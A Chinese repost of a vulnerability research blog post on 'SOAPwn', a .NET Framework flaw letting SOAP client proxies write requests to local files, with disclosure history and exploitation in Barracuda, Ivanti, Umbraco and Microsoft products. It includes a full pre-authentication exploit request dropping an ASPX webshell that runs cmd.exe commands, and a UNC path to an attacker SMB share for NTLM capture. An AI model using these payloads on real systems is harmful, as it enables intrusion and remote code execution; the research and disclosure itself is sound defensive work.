文章总结: 这篇文章详细介绍了.NETFramework中一个名为SOAPwn的安全漏洞,该漏洞允许攻击者通过HTTP客户端代理和WSDL攻击.NET应用程序。核心问题是.NET的SoapHttpClientProtocol类存在设计缺陷,当URL被设置为非HTTP协议(如file://)时,会将SOAP请求写入本地文件系统而非通过网络发送。攻击者可利用此漏洞实现NTLM中继、任意文件写入甚至远程代码执行。最强大的利用路径是通过ServiceDescriptionImporter类从攻击者提供的WSDL文件生成HTTP客户端代理。文章展示了在BarracudaServiceCenterRMM、IvantiEndpointManager、Umbraco8CMS、MicrosoftPowerShell和SQLServerIntegrationServices等多个产品中的实际攻击案例。尽管研究人员向Microsoft报告了此问题,但Microsoft将其视为应用程序问题而非框架漏洞,拒绝修复,仅更新了文档。文章提供了详细的技术分析、代码示例和实际攻击演示,展示了如何利用这些漏洞在不同产品中实现远程代码执行。
综合评分: 85
文章分类: 漏洞分析,WEB安全,渗透测试,红队,应用安全
SOAPwn:通过 HTTP 客户端代理和 WSDL 攻击 .NET Framework 应用程序
PIOTR BAZYDLO
securitainment
2025年12月14日 20:48
广东
欢迎回来!随着 2025 年临近尾声,我们当然又在等着下一轮 SSLVPN 漏洞利用在 1 月爆发(就像 2024 年和 2025 年那样)。
耶——在那之前,我们想先清理一下积压的工作,看看还能发布多少研究成果。
今年在 Black Hat Europe 上,Piotr Bazydlo 发表了题为 “SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies And WSDL” 的演讲。这项研究最终在 .NET Framework 中发现了新的利用原语;尽管 Microsoft(反复)决定将其标记为 DONOTFIX,我们仍然成功将其武器化,在企业级设备上实现了远程代码执行 (Remote Code Execution)。
一如既往。
在我们极其粗略的审查中,已确认受影响的解决方案(包括企业级设备)有:
- Barracuda Service Center RMM (CVE-2025-34392) – 在 hotfix 2025.1.1 中修复。
- Ivanti Endpoint Manager (EPM) (CVE-2025-13659) – 已修复
- Umbraco 8 CMS
- Microsoft PowerShell
- Microsoft SQL Server Integration Services
- “可能”还有更多……
鉴于 .NET 的广泛应用以及我们每天有限的时间,这份受影响产品列表只能算是”轶事性”的。毫无疑问,还有大量受影响的厂商和内部开发的系统,但坦白说,我们觉得上面这些已经足以说明问题。
今天这篇博客旨在为读者提供我们研究及其成果的概览;更深入的技术细节请参阅此处链接的白皮书https://watchtowr.com/wp-content/uploads/SOAPwnwatchtowr_soappwn-research-whitepaper_10-12-2025.pdf 。
为了让大家进入状态,我们先展示一下这项研究在 Barracuda Service Center RMM 上的武器化效果(已在 hotfix 2025.1.1 中修复),现已分配编号 CVE-2025-34392——而且是预认证 (preauthenticated) 的!
这真是个圣诞奇迹!
HttpWebClientProtocol – 无效类型转换漏洞
早在 2024 年,我们深入研究 SharePoint 攻击面时(正常操作),注意到一个异常现象:在某些地方,攻击者可能影响传递给 SOAP 客户端代理的 URL。
该代理扩展自 .NET Framework 的 System.Web.Services.Protocols.SoapHttpClientProtocol类。
进一步解释一下,.NET Framework 提供了三种不同的 HTTP 客户端代理类型:
SoapHttpClientProtocolDiscoveryClientProtocolHttpSimpleClientProtocol
它们都继承自同一个父类:HttpWebClientProtocol。
为了保持可读性,我们重点讨论 SoapHttpClientProtocol,因为它是最常见的,广泛分布于各种代码库中。从名称和官方文档来看,它应该处理通过 HTTP 传输的 SOAP 消息——简单、可预测、安全。
然而现实并没有那么配合。
要理解 Microsoft 期望这个类如何工作,可以参考他们自己的示例代码:
namespaceMyMath {
//imports removed for readability
[System.Web.Services.WebServiceBindingAttribute(Name="MyMathSoap", Namespace="<http://www.contoso.com/>")]
publicclassMyMath : System.Web.Services.Protocols.SoapHttpClientProtocol { // [1]
[System.Diagnostics.DebuggerStepThroughAttribute()]
publicMyMath() { // [2]
this.Url = "<http://www.contoso.com/math.asmx>"; // [3]
}
[System.Diagnostics.DebuggerStepThroughAttribute()]
[System.Web.Services.Protocols.SoapDocumentMethodAttribute("<http://www.contoso.com/Add>", RequestNamespace="<http://www.contoso.com/>", ResponseNamespace="<http://www.contoso.com/>", Use=System.Web.Services.Description.SoapBindingUse.Literal, ParameterStyle=System.Web.Services.Protocols.SoapParameterStyle.Wrapped)]
publicintAdd(intnum1, intnum2) { // [4]
object[] results = this.Invoke("Add", newobject[] {num1,
num2});
return ((int)(results[0]));
}
//async calls removed for readability
}
}
长话短说:
- 该类在标记点
[3]处设置 SOAP 服务的目标 URL。 - 它还定义了一个名为
Add的简单 SOAP 方法。
那么它在实际中是如何表现的?你可以用这个代理类以简洁、结构化的方式发送 SOAP HTTP 请求。例如,你的应用中可能包含如下代码:
MyMath math = new MyMath();
math.Add(2, 3);
结果是:
- 一个 SOAP HTTP 请求会被发送到
MyMath构造函数中定义的http://www.contoso.com/math.asmx。 - SOAP 消息会在远程服务上调用
Add方法,并把两个整数(2 和 3)作为参数传入。
这使得在 .NET Framework 中执行 SOAP 请求变得非常方便——无需手动构造有效的 SOAP XML body,而且这类代理类在许多实际应用中都有使用。
同样的思路也适用于另外两种代理类型 DiscoveryClientProtocol和 HttpSimpleClientProtocol,唯一的实际区别是它们发送的是原始 HTTP 请求而非 SOAP。
现在来看重要的部分:这些代理如何处理 URL,又如何准备 HTTP 请求本身?这里涉及大量内部”管道”逻辑。
最关键的是,HttpWebClientProtocol.GetWebRequest方法最终负责创建底层的 WebRequest对象。
精彩的部分从这里开始:
protectedoverride WebRequest GetWebRequest(Uri uri)
{
WebRequest webRequest = base.GetWebRequest(uri); // [1]
//removed for readability
//...
}
在标记点 [1]处,代码调用 WebClientProtocol.GetWebRequest来获取底层的 WebRequest对象。
快速看一下那个方法就能了解更多:
protectedvirtual WebRequest GetWebRequest(Uri uri)
{
if (uri == null)
{
thrownew InvalidOperationException(Res.GetString("WebMissingPath"));
}
WebRequest webRequest = WebRequest.Create(uri);
this.PendingSyncRequest = webRequest;
webRequest.Timeout = this.timeout;
webRequest.ConnectionGroupName = this.connectionGroupName;
webRequest.Credentials = this.Credentials;
webRequest.PreAuthenticate = this.PreAuthenticate;
webRequest.CachePolicy = WebClientProtocol.BypassCache;
return webRequest;
}
可以看到,该方法使用 WebRequest.Create初始化客户端,但并没有将结果强制转换为 HttpWebRequest。如果你不太熟悉 .NET Framework,这看起来可能无害。但实际上非常有意思。
WebRequest.Create根据 URL scheme 选择底层的客户端实现。这里适用三种常见的 scheme:
- http 或 https
- ftp
- file
如果 URL 是 http://localhost,调用会返回一个 HttpWebRequest。如果 URL 是 file:///Windows/win.ini,则返回一个 FileWebRequest。这就是为什么开发者通常在调用 WebRequest.Create之后立即进行类型转换。
例如,这是在 .NET Framework 中创建 HTTP 客户端的标准且安全的方式:
HttpWebRequest myReq = (HttpWebRequest) WebRequest.Create(someURL);
而代理代码中缺少这个转换,这意味着该方法可能返回一个非 HTTP 协议的处理器。
子类稍后仍会尝试转换结果,让我们看看完整的 HttpWebClientProtocol.GetWebRequest方法到底发生了什么:
protectedoverride WebRequest GetWebRequest(Uri uri)
{
WebRequest webRequest = base.GetWebRequest(uri); // [1]
HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
if (httpWebRequest != null) // [3]
{
httpWebRequest.UserAgent = this.UserAgent;
httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
httpWebRequest.AllowWriteStreamBuffering = true;
httpWebRequest.SendChunked = false;
if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
{
httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
}
if (this.proxy != null)
{
httpWebRequest.Proxy = this.proxy;
}
if (this.clientCertificates != null && this.clientCertificates.Count > 0)
{
httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
}
httpWebRequest.CookieContainer = this.cookieJar;
}
return webRequest; // [4]
}
让我们来解释一下:
- 在标记点
[2],代码确实尝试将返回的WebRequest转换为HttpWebRequest。然而,它使用的是as运算符。如果运行时无法完成转换(例如试图将FileWebRequest转换为HttpWebRequest),结果就是null。 - 在标记点
[3],代码检查httpWebRequest是否不为null。如果有效,就会应用一系列 HTTP 相关的设置。 - 在标记点
[4],方法返回的是原始的webRequest对象。这就是问题的根源。方法创建了一个新的httpWebRequest实例,然后立即将其丢弃,返回了未经修改的原始请求对象。很难想象这是预期的行为——该方法几乎肯定应该返回httpWebRequest实例才对。
影响显而易见。
.NET Framework 的 HTTP 客户端代理可以被引导去使用文件系统处理器。如果我们将 URL 设置为类似 file:///Windows/win.ini的值,代理就会使用 FileWebRequest而不是 HttpWebRequest。
由于 SOAP 请求使用 POST 方法,SoapHttpClientProtocol会很乐意地将 SOAP 请求体直接写入文件。
等等,什么?为什么一个 SOAP 代理需要能够向本地文件”发送” SOAP 请求?
这个星球上没人会期望从文件系统收到有效的 SOAP 响应。快速浏览一下 HttpWebClientProtocol的官方文档就能确认大家的假设:
Represents the base class for all XML Web service client proxies that use the HTTP transport protocol.
文档里可没有自豪地写着”有时也能通过 FTP 和 FILE 协议工作,纯属意外”。
唯一的条件是:攻击者需要能够控制代理的 Url成员。
所以,是的,这种行为既奇怪又完全违反直觉。真正的问题很简单:我们能用它做什么?
这种诡异的设计选择如何能转化为实际的安全问题?
实际利用 #1 – NTLM 中继
那么,我们能用这个做什么?
影响最小的用法是 NTLM 中继或挑战值泄露。如果攻击者提供一个 UNC 路径,SOAP 请求就会被写入攻击者控制的 SMB 共享。
例如:
file://attacker.server/poc/poc
应用会尝试将 SOAP body 写入该路径,与此同时攻击者捕获 NTLM challenge 并尝试”破解”它。
对于域账户来说,这仍然是有意义的结果;而且根据环境不同,完整的 NTLM 中继也可能实现。
不过,这只是起点。
还有更有趣的方式来滥用这种行为。
实际利用 #2 – 任意文件写入
事情很快就变得更有趣了。
这种行为还可以用于任意文件写入。
这个原语的优势很明显:
- 攻击者可以控制完整的写入路径。代理可以指向任意位置、任意文件名或扩展名。
- 代理会覆盖现有文件,这对于替换脚本或配置文件非常有用。
- 如果 SOAP 方法接受攻击者可控的输入,攻击者就可以将任意字符串写入生成的 XML 中。这通常足以投放 CSHTML webshell。
当然也有一些限制:
- 对写入内容的控制是有限的。输出始终是 SOAP XML 文档。即使攻击者控制了其中的字符串参数,某些字符(如
<)也总是会被编码。这阻止了直接上传 ASP 或 BAT 文件。 - 利用效果很大程度上取决于具体应用,以及攻击者是否能影响 SOAP 方法的参数。如果唯一可用的参数是整数类型,攻击者就无法有效投递 payload。
在一个简单的示例场景中,攻击者同时控制名为 targetURL的代理目标 URL 和名为 testString的 SOAP 方法字符串参数。他们可以提供如下值:
-
targetURL:
file:///Users/Public/a.cshtml -
testString:
@maliciouscodehere
随后代理会写入文件,并将攻击者控制的 C# 代码嵌入其中,从而充当 webshell。
搞定?
当 SoapHttpClientProtocol被指向一个 fileURL 时,应用通常会抛出如下错误:
Client found response content type of 'application/octet-stream', but expected 'text/xml'. The request failed with an empty response
这是预期行为。应用期望收到一个 SOAP 响应,但文件系统无法发送响应。
据我们所知,Microsoft 还没有(目前还没有)给 NTFS 添加 AI 能力,所以文件系统无法回复 SOAP 请求。
Dear Microsoft, no.
向 Microsoft 报告 #1 – 未修复
我们必须判断这个问题应该归咎于 Microsoft,还是归咎于使用这些代理类的应用程序。我们得出的结论是:问题在于 Microsoft,因为一个 HTTP 客户端代理将 SOAP 请求写入本地文件系统的想法太过离奇和不可预测,没有任何开发者会合理地预期到这种行为。
我们得出这一结论还有几个原因:
- 代理类的名称中字面上就包含
http字样,而不是file。 - 官方文档明确说明这些类是用于 HTTP 传输协议的:”Represents the base class for all XML Web service client proxies that use the HTTP transport protocol.”
- 一个 SOAP 客户端把请求写入文件,然后因为文件系统无法提供 SOAP 响应而抛出异常——这听起来不像是预期行为。
因此很明显,这应该报告给 Microsoft。
作者注:这部分研究是在 2024 年于 Zero Day Initiative 工作期间完成的。该问题于 2024 年 3 月通过 ZDI 报告给了 Microsoft。
不出所料,Microsoft 把这种行为当作功能而非漏洞。回复中把责任推给了开发者和用户。
按照 Microsoft 的说法,传递给 SoapHttpClientProtocol的 URL 永远不应该由用户控制,验证输入是开发者的责任。
当然了,所有开发者都会定期反编译 .NET Framework 程序集并阅读内部实现,所以他们显然知道一个”HTTP 客户端代理”可以被说服将数据写入文件系统。
谁会想不到呢?
通过 WSDL 导入进行利用
一年后,一位同事说服我们看看 Barracuda Service Center——一个广泛部署的 RMM 平台。
令人失望的是,我们很快就发现了有趣的东西:一个完全无需认证即可访问的 SOAP API 方法:
public XmlDocument InvokeRemoteMethod(string urlwsdl, string wsmethod, object[] invalues, string[] dllincludes, bool usecredentials)
{
XmlDocument xdoc = new XmlDocument();
wsdl_compiler_tk comp = new wsdl_compiler_tk(urlwsdl, wsmethod, invalues); // [1]
//...
if (comp.DynamicLoad()) // [2]
{
xdoc = comp.InvokeWebMethod(); // [3]
}
//...
}
这里的红旗多到难以一一列举:
-
其中一个输入参数名为
urlwsdl,这立刻暗示了 SSRF 的可能性。 -
wsmethod和
invalues参数暗示了基于反射的方法调用。 -
wsdl_compiler_tk类在标记点
[1]被实例化——这通常不是什么好兆头。 -
后面出现的
DynamicLoad和InvokeWebMethod方法名再次指向反射。
我们开始详细审查代码,简化后的流程如下所示:
流程总结:
- 代码从攻击者控制的 URL 获取 WSDL。
- 使用 .NET Framework 的
ServiceDescription和ServiceDescriptionImporter类加载该 WSDL。 - 根据导入的服务描述生成一个 C# SOAP 代理类。
- 将生成的代理编译成 DLL 并加载。
- 最后,使用攻击者提供的参数执行该代理类中攻击者控制的方法。
这里有很多内容需要消化。
我们首先想观察的是生成的代理类的真实样例。我们向该端点提供了一个简单的 WSDL,并检查了新编译的 DLL 中出现的类:
publicclassTestService : SoapHttpClientProtocol
{
publicTestService()
{
base.SoapVersion = SoapProtocolVersion.Soap12;
base.Url = "<http://localhost/test.asmx>";
}
[SoapDocumentMethod("<http://tempuri.org/TestMethod>", RequestNamespace = "<http://tempuri.org/>", ResponseNamespace = "<http://tempuri.org/>", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
publicstringTestMethod(stringtestarg)
{
object[] array = base.Invoke("TestMethod", newobject[]
{
testarg
});
return (string)array[0];
}
}
正如人们常说的:当事情看起来好得不像真的时,通常确实不是真的?
自动生成的类继承自 SoapHttpClientProtocol,而我们已经知道这个代理不能正确处理 URL。
在这个例子中,生成的 URL 是 http://localhost/test.asmx。我们如何从 WSDL 本身控制这个值呢?答案是通过 service定义。在我们的示例 WSDL 中,它是这样的:
<servicename="TestService">
<portname="TestServiceSoap12"binding="tns:TestServiceSoap12">
<soap12:addresslocation="<http://localhost/test.asmx>" />
</port>
</service>
我们还几乎可以控制生成的代理类的每个部分。例如,我们可以影响:
- 代理类名,如
TestService。 - SOAP 方法名,如
TestMethod。 - 这些方法的参数,包括类型和名称,如
string testarg。 - 其他几个结构性元素。
接下来的问题很明显。ServiceDescriptionImporter是否会验证 WSDL 中的 service定义?它会拒绝任何非 http或 https的内容吗?
我们通过修改 WSDL 使用不同的协议来测试:
<servicename="TestService">
<portname="TestServiceSoap12"binding="tns:TestServiceSoap12">
<soap12:addresslocation="file:///inetpub/wwwroot/poc.aspx" />
</port>
</service>
然后再次触发代码生成:
public TestService()
{
base.SoapVersion = SoapProtocolVersion.Soap12;
base.Url = "file:///inetpub/wwwroot/poc.aspx";
}
ServiceDescriptionImporter不会验证生成的 HTTP 客户端代理使用的 URL。这适用于所有支持的代理类型。实际上,这为我们提供了一种新的、非常干净的方式来利用我们之前发现的无效类型转换问题。
即便如此兴奋,我们仍然有两个直接的疑问:
- 这是 .NET Framework 中从 WSDL 生成 SOAP 客户端的标准模式,还是 Barracuda 独有的特殊实现?
- 我们知道在 Barracuda 中可以实现预认证文件写入。能否更进一步实现 RCE?
我们先从第一个问题开始。
快速搜索 ServiceDescriptionImporter并访问 Microsoft 文档后确认了预期的行为。文档描述如下:
Exposes a means of generating client proxy classes for XML Web services.
简而言之,从 WSDL 文件生成 C# 代码是正常且完全受支持的。这正是 Microsoft 期望开发者使用的工作流程。
我们还询问了 Claude 的看法,因为大家都喜欢一点 vibecoding。它的第一个建议完全一样:使用 ServiceDescriptionImporter自动生成代理。
这一点非常重要。它表明基于 WSDL 的代理生成是 .NET Framework 应用中常见且被鼓励的模式。这意味着无效类型转换问题很可能在许多导入 WSDL 文件的不同代码库中都可被触达。
有了这个确认,加上 Microsoft 实际上在为这种设计模式背书,我们继续探索实际的利用可能性。
实际利用 #3 – WSDL 导入
然后,我们发现了另一条路。
通过 WSDL 导入进行利用比直接滥用 SoapHttpClientProtocol要强大得多。
- 我们控制 WSDL,这意味着我们控制了生成的 SOAP HTTP 客户端代理代码的主要部分。
- 通过选择 SOAP 方法名,我们控制了生成请求中的 XML 标签名。
- 如果应用允许我们影响方法参数(如 Barracuda 的例子),我们还控制这些标签内的值。
本质上,代理类可以生成概念上类似下图的 SOAP body:
可以看到,我们对大部分 XML 都有相当程度的控制。
乍一看这很有前景,但某些字符如 <和 >总是会被 HTML 编码为 <和 >。这意味着我们无法通过简单的字符串参数(如 andSometimesThis)直接投放 ASP 或 ASPX webshell。
“直接”这个词很重要——有决心的研究者通常能找到其他路径。WSDL 导入引入的两种主要利用方向如下。
这部分内容大幅简化了,请参阅白皮书获取更多技术细节。
ASPX Webshell 上传
由于我们能控制部分 XML 元素名,我们有一个很简单的想法。我们希望生成的 SOAP body 包含如下片段:
<scriptrunat="server">
attacker's input to the method, which will be the .NET code
</script>
这是一个有效的 ASPX webshell。
问题在于,ServiceDescriptionImporter没有提供简单的方式来定义 SOAP body 内的属性,因此没有直接的方法来包含关键的 runat="server"属性。哎。
幸运的是,还有一条更复杂的路径。它完全取决于目标代码库如何反序列化传递给 SOAP 方法的参数。如果你能提供复杂类型而非简单的 string或 int值作为输入参数,你就可以直接将 XML 属性走私到 SOAP body 中。
在不同产品中,我们看到了两种主要的反序列化模式:
- 基于
XmlSerializer的复杂反序列化,或基于默认构造函数后跟 setter 的反序列化。这种模式很常见,因为ServiceDescriptionImporter生成的类就是为这些序列化器设计的。在这种场景下,可以将 XML 属性注入到 SOAP body 中。 - 完全没有自定义反序列化,代码只接受
string或int等简单类型。
简而言之,如果你能通过 WSDL 控制足够多的 SOAP body,有时可以使用这种技术投放一个完全功能的 ASPX webshell,从而无摩擦地获得 RCE。
通过命名空间投放 Payload
有时事情不会按你的方式发展。你可能会遇到这样的情况:
- 攻击者可以向应用投递恶意 WSDL,这允许利用无效类型转换并启用任意文件写入。
- 然而,攻击者无法控制任何 SOAP 方法的输入参数。这些参数可能是硬编码的,或者应用可能只调用不接受参数的方法。
仍然有前进的道路。我们注意到 WSDL 中有一部分无论方法如何被调用都会出现在生成的 SOAP body 中:命名空间。
考虑以下 WSDL 片段:
你可以看到我们在 WSDL 中定义的命名空间是一个有效的 URL,query string 允许我们走私几个特殊字符。
当 SOAP 方法执行时,生成的 SOAP 请求 body 会完全按照提供的方式包含该命名空间:
命名空间直接包含在 SOAP body 中。仅此一点就足以做很多事情,比如:
- 投放 CSHTML webshell。
- 投放恶意 PowerShell 脚本,包括使用
$(command)等构造的 payload。
可能还有其他使用这种技术的方式,但这两种足以利用 Ivanti Endpoint Manager 和 Microsoft PowerShell。
例如,下图展示了在 Ivanti Endpoint Manager 中通过 CSHTML 上传实现的有效 RCE:
唯一真正的限制是我们不能使用双引号字符 "。这对 CSHTML 等 payload 来说不是问题,因为 string可以从 char数组构造。
总结一下,WSDL 导入为 HttpWebClientProtocol中的无效类型转换问题创造了一条非常强大的利用路径。如果攻击者控制了导入的 WSDL,他们也就控制了:
- 目标 URL,这允许代理与文件系统交互。
- SOAP 方法名。
- 方法参数的名称和类型。
实际上,利用分两步进行。首先,攻击者提供一个恶意 WSDL 文件,应用使用 ServiceDescriptionImporter从中生成一个 HTTP 客户端代理。
第二步是触发生成的 SOAP 方法的执行。这通常很简单,因为应用导入 WSDL 是有原因的,最终会调用该方法。确切的触发器取决于代码库和预期功能。
第二步的典型示例可能如下所示:
在很多情况下,这个漏洞可以通过上传 webshell 或投放有效的 PowerShell 脚本导致远程代码执行。
可能还有其他更有创意的利用方式,但我们不需要它们了。
向 Microsoft 报告 #2 – WSDL 更新
我们于 2025 年 7 月再次向 Microsoft 报告了这个问题。
通过 WSDL 导入利用无效类型转换的能力使这个问题的影响显著增大。.NET Framework 生态系统中的服务器端和客户端应用都依赖这种模式。
人们通常不会意识到 .NET Framework 的 HTTP 客户端代理可以被强制使用 HTTP 以外的协议。这似乎是代理设计中的根本性缺陷。
我们还向 Microsoft 解释说,已有多个第三方应用被确认可通过这个向量被利用,并请求他们将其视为 .NET Framework 本身的漏洞。
在框架层面进行修复将一次性消除所有相关产品中的漏洞。
我们知道你很想知道 Microsoft 的回应,但先别急。
首先,我们要展示几个在具体产品中发现的真实漏洞。
已发现的易受攻击代码库列表
我们随意浏览了一些随机选择的解决方案,查看其中是否出现 ServiceDescriptionImporter。
利用 – Barracuda Service Center RMM RCE (CVE-2025-34392)
终于可以拿下 Barracuda Service Center 了!
我们已经展示过它暴露了一个 SOAP API 方法,该方法从攻击者控制的 URL 生成 SOAP 客户端代理,然后使用攻击者提供的参数调用攻击者选择的 SOAP 方法。这里无需重复相同的图示或调用流程。
如需回顾,请参阅”通过 WSDL 导入进行利用”一节的开头。
下面是一个可以完整利用该漏洞的单个 HTTP 请求:
POST /SCMessaging/scnoc.asmx HTTP/1.1
Host: barracuda.lab.local
Content-Type: text/xml; charset=utf-8
Content-Length: 1293
SOAPAction: "<http://www.levelplatforms.com/nocsupportservices/2.0/InvokeRemoteMethod>"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelopexmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"xmlns:xsd="<http://www.w3.org/2001/XMLSchema>"xmlns:soap="<http://schemas.xmlsoap.org/soap/envelope/>">
<soap:Body>
<InvokeRemoteMethodxmlns="<http://www.levelplatforms.com/nocsupportservices/2.0/>">
<urlwsdl><http://192.168.111.130/poc.wsdl></urlwsdl>
<wsmethod>poc</wsmethod>
<invalues>
<anyTypexsi:type="xsd:string"><![CDATA[
<scriptattr>
protected void Page_Load(object sender, EventArgs e)
{
System.Diagnostics.ProcessStartInfo processStartInfo = new System.Diagnostics.ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/c " + Request.QueryString["cmd"];
processStartInfo.RedirectStandardOutput = true;
processStartInfo.UseShellExecute = false;
System.Diagnostics.Process process = System.Diagnostics.Process.Start(processStartInfo);
using (System.IO.StreamReader streamReader = process.StandardOutput)
{
string ret = streamReader.ReadToEnd();
Response.Clear();
Response.Write(ret);
Response.End();
}
}
</scriptattr>
]]>
</anyType>
</invalues>
<usecredentials>false</usecredentials>
</InvokeRemoteMethod>
</soap:Body>
</soap:Envelope>
在这个请求中:
-
urlwsdl设置为提供我们恶意 WSDL 的 URL。
-
wsmethod设置为
poc,所以应用会调用生成的 SOAP 代理中的poc方法。 -
invalues包含一个参数——一个用
XmlSerializer序列化的scriptattr对象,其中包含 ASPX webshell 代码。
恶意 WSDL 将代理 URL 设置为 file:///Program Files (x86)/Level Platforms/Service Center/SCMessaging/poc.aspx。
这会强制生成的 SoapHttpClientProtocol实例将 SOAP body 写入该路径,从而投放一个有效的 webshell。
你可以观看附带调试器的扩展演示视频,其中展示了代码流程的重要部分以及完整的利用过程。
利用 – Umbraco 8 CMS
Umbraco CMS 是最流行且最受信任的基于 .NET 的 CMS 平台之一。版本 8 是基于 .NET Framework 构建的最后一个版本,虽然已于 2025 年 End of Life,但仍被广泛部署。
我们发现,具有编辑 Umbraco Forms 权限的已认证用户可以利用无效类型转换漏洞实现认证后 RCE。这些表单依赖一种称为”data source”的机制,而其定义方式立刻引起了我们的警觉。
在上述提供的功能中,我们可以很方便地定义一个 Webservice类型的数据源。
选中后,你可以:
- 将其指向任意 WSDL。
- 指定 Umbraco 应该执行的 SOAP 方法。
这是基于 WSDL 利用的完美设置。我们只需要让 Umbraco 从我们提供的 WSDL 生成一个 SoapHttpClientProtocol实例。
果然不出所料:
private Assembly BuildAssemblyFromWSDL(Uri webServiceUri)
{
Assembly result;
try
{
bool flag = string.IsNullOrEmpty(webServiceUri.ToString());
if (flag)
{
thrownew Exception("Web Service Not Found");
}
XmlTextReader xmlreader = new XmlTextReader(webServiceUri.ToString() + "?wsdl"); // [1]
ServiceDescriptionImporter descriptionImporter = this.BuildServiceDescriptionImporter(xmlreader); // [2]
result = this.CompileAssembly(descriptionImporter); // [3]
}
catch (Exception exception)
{
Current.Logger.Error(exception, "Exception with WebService {WebServiceUrl}", newobject[]
{
webServiceUri
});
throw;
}
return result;
}
这段代码从提供的 URL 获取 WSDL。然后在标记点 [2]使用 ServiceDescriptionImporter加载它。最后在标记点 [3]生成代理代码并编译成 DLL。
在我们的例子中,我们创建了:
- 一个不接受任何输入参数的 SOAP 方法
- 一个通过 WSDL 中定义的命名空间投放的 CSHTML webshell payload
生成的 SOAP 代理类如下所示:
然后你可以触发表单,并在调试器中观察生成的 SOAP 方法执行:
最后,你可以享受刚刚投放的恶意 CSHTML 文件了。
Microsoft 的最终回应
现在我们可以看看 Microsoft 的最终回应了。
亲爱的读者,你觉得会是哪个选项?二选一:
不需要是天才也能猜到 Microsoft 的最终回应:
After careful investigation, this case does not meet Microsoft’s bar for immediate servicing due to this being an application issue, as users should not consume untrusted input that can generate and run code.
不出所料,这显然是开发者的错。你使用 .NET Framework 的 HTTP 客户端代理编写了一个应用,却不知怎么没有去读 .NET Framework 的内部代码。你怎么会错过 HTTP 代理可以把 SOAP 请求写入文件并访问文件系统的部分呢?当然还有它可以通过 FTP 发送 HTTP 请求的部分。
好了,够了——我们现在有什么?
我们在 .NET Framework 中发现了一个新的易受攻击 sink,还有更多潜在的漏洞等待发现。
自然而然地,我们开始向遇到的受影响厂商报告问题,并再次发现自己在向 Microsoft 提交报告——具体是 PowerShell 和 SQL Server Integration Services。
既然 Microsoft 表示缺乏 URL 验证完全是应用的责任,我们就报告了 Microsoft 自己产品中的漏洞,并礼貌地等待补丁。
然后在 PowerShell 的案例中出现了一条熟悉的消息:
After a thorough review, we have determined that this case does not meet the criteria for immediate servicing. The issue stems from application behavior, where users should avoid consuming untrusted input that could generate and execute code.
所以首先我们怪应用。如果这行不通(因为那需要修复 Microsoft 自己的代码),我们就怪用户。那些原始人用户应该手动验证 WSDL 文件,并意识到它可以把 SOAP 请求写入文件而不是通过 HTTP 发送。
唉。
但一如既往,没有什么漏洞是不能通过文档更新和警告来”修复”的。我们的研究可以用 dotnet仓库中的这个 commit 来概括:
结果就是,Microsoft 没有修复任何报告的漏洞。慢鼓掌。
最后的思考
亲爱的读者,就是这样了。这篇文章总结了我们在 Black Hat Europe 2025 上展示的研究,更多深度内容可以在配套白皮书中找到。
我们介绍了 .NET Framework HTTP 客户端代理的奇怪行为、隐藏在众目睽睽之下的意外文件写入超能力,以及这如何在多个知名企业产品中解锁了真实的漏洞。
从高层次来看,故事很简单。.NET Framework 允许其 HTTP 客户端代理被欺骗去与文件系统交互。在适当的条件下,它们会愉快地将 SOAP 请求写入本地路径,而不是通过 HTTP 发送。最好的情况下,这会导致 NTLM 中继或挑战值捕获。最坏的情况下,它会通过 webshell 上传或 PowerShell 脚本投放变成远程代码执行。
影响取决于每个应用如何使用代理类,但在实践中,我们在几乎每个调查的产品中都实现了 RCE。最强大的利用路径出现在应用使用 ServiceDescriptionImporter类从攻击者提供的 WSDL 文件生成 HTTP 客户端代理时。仅这一机制就使我们成功利用了 Barracuda、Ivanti、Microsoft 和 Umbraco 的产品,而且只需要几天的审查就找到了可工作的案例。
技术 TLDR:
- 搜索
ServiceDescriptionImporter的使用,并检查它是否处理攻击者控制的输入。如果是,应用可能存在漏洞。 - 搜索
SoapHttpClientProtocol、DiscoveryClientProtocol、HttpPostClientProtocol和HttpGetClientProtocol的使用。如果攻击者可以影响Url属性,应用可能存在漏洞。
这种技术很可能在许多其他代码库中出现,无论是内部开发的还是厂商提供的。如果这项研究证明了什么,那就是 .NET Framework 仍然有一些惊喜。
完整的技术细节和代码流程,请参阅白皮书。
SOAPwn Pwning .NET Framework Applications Through HTTP Client Proxies And WSDL
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment PIOTR BAZYDLO《SOAPwn:通过 HTTP 客户端代理和 WSDL 攻击 .NET Framework 应用程序》